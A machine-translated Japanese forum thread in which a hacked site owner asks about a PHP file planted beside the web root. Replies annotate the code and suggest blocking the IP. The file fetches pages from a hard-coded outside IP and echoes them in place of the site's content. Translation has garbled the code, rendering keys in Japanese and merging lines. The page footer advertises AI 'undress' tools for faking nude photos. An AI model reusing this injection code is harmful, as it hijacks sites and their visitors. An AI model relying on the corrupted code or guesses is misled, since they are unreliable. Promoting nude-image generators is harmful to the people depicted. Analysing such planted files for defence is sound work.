PHPコード、それが何を意味するのか理解するのを手伝ってください
私の Web サイトはハッキングされたようです。毎日、私の Web サイトのルート ディレクトリにアクセスし、次のようなコードを配置する SB がいます。
set_time_limit(0);
header(" Content-Type: text/html;charset=gb2312");
$Remote_server = "http://122.114.126.160/"; http://".$_SERVER['SERVER_NAME' ].$_SERVER['PHP_SELF'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$Content_mb=getHTTPPage($Remote_server."/index .html?host=".$host_name);
echo $Content_mb;
exit();
function getHTTPPage($url) {
$opts = array(
'http'= >array(
'メソッド'=> ;"GET",
'ヘッダー'=>"ユーザーエージェント: aQ0O010O"
)
); $context = stream_context_create( $opts);
$html = @file_get_contents ($url, false, $context);
if (empty($html)) {
exit("
接続エラー!
");}
return $html;
}
?>
どういう意図ですか? 専門家に解析してもらいましょう
ディスカッションへの返信 (解決策)
彼はこのコードをルート ディレクトリに置きました。Web サイトにアクセスできませんか?
彼はあなたの Web サイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて、あなたのホームページの情報を取得したようです
については何も異常はありません私のウェブサイト (まだ見つかりません) 例外)
彼はあなたのウェブサイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて取得したようですあなたのホームページの情報
私 ウェブサイトには何も問題はありません (まだ異常は見つかりません)
上記の私の説明には問題があります。次の図に示すように、新しいディレクトリではなく、ルート ディレクトリの前のディレクトリに配置されます。
ディレクトリ public_html は、Web サイトのルート ディレクトリです。このファイルは、public_html と同じディレクトリに配置されます。これが私のウェブサイトにどのような影響を与えるかわかりません。このSBは隔日でここに来て、何度か削除されています。
Linux システムでは、現在の権限が 755 に設定されています。644 に設定されている場合、Web サイトを開くことができません。ファイルへのアクセスを防ぐ方法はありますか?
$Remote_server."/index.html?host=".$host_name ここで彼はあなたの Web サイトのアドレスを渡しましたが、その IP のサーバーではコードが表示されないので、どうすればよいかわかりません。 。 。 。 。 。彼が何をしようとしているのか見当もつかない。 。 。 。 。
サーバーの点がわかりません。専門家が助けてくれるのを待ちます
ありがとうございます
何か異常はありませんか?
set_time_limit(0); //タイムアウトしないheader("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("
接続エラー!");
}
return $html;
}
相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、関係ありません
何はともあれ、まず相手の IP を禁止し、サーバーを設定して、IP 122.114.126.160 があなたの Web サイトにアクセスすることを禁止します。
ページのコンテンツを置き換えました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。
例外はありませんか?
set_time_limit(0); //タイムアウトしない
header("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("
接続エラー!");
}
return $html;
}
相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、どうでもいいです
---------------------- - --
ありがとう
何はともあれ、まず相手の IP を禁止し、サーバーを設定してください。122.114.126.160 の IP があなたの Web サイトにアクセスすることを禁止します。
----------
ページを共有していただきありがとうございます
コンテンツ交換されました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。
---------------------
ありがとう
彼は手放したかったんだろう SEOに行くpublic_html フォルダ内に .php を作成し、ファイルがあれば
内のファイルを置き換えます。 結果、タイプミスがあり、
結果的にタイプミスで外に残ったフォルダになってしまいました

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









Laravelは、直感的なフラッシュメソッドを使用して、一時的なセッションデータの処理を簡素化します。これは、アプリケーション内に簡単なメッセージ、アラート、または通知を表示するのに最適です。 データは、デフォルトで次の要求のためにのみ持続します。 $リクエスト -

PHPクライアントURL(CURL)拡張機能は、開発者にとって強力なツールであり、リモートサーバーやREST APIとのシームレスな対話を可能にします。尊敬されるマルチプロトコルファイル転送ライブラリであるLibcurlを活用することにより、PHP Curlは効率的なexecuを促進します

Laravelは簡潔なHTTP応答シミュレーション構文を提供し、HTTP相互作用テストを簡素化します。このアプローチは、テストシミュレーションをより直感的にしながら、コード冗長性を大幅に削減します。 基本的な実装は、さまざまな応答タイプのショートカットを提供します。 Illuminate \ support \ facades \ httpを使用します。 http :: fake([[ 'google.com' => 'hello world'、 'github.com' => ['foo' => 'bar']、 'forge.laravel.com' =>

顧客の最も差し迫った問題にリアルタイムでインスタントソリューションを提供したいですか? ライブチャットを使用すると、顧客とのリアルタイムな会話を行い、すぐに問題を解決できます。それはあなたがあなたのカスタムにより速いサービスを提供することを可能にします

記事では、PHP 5.3で導入されたPHPの後期静的結合(LSB)について説明し、より柔軟な継承を求める静的メソッドコールのランタイム解像度を可能にします。 LSBの実用的なアプリケーションと潜在的なパフォーマ

この記事では、フレームワークにカスタム機能を追加し、アーキテクチャの理解、拡張ポイントの識別、統合とデバッグのベストプラクティスに焦点を当てています。

記事では、入力検証、認証、定期的な更新など、脆弱性から保護するためのフレームワークの重要なセキュリティ機能について説明します。
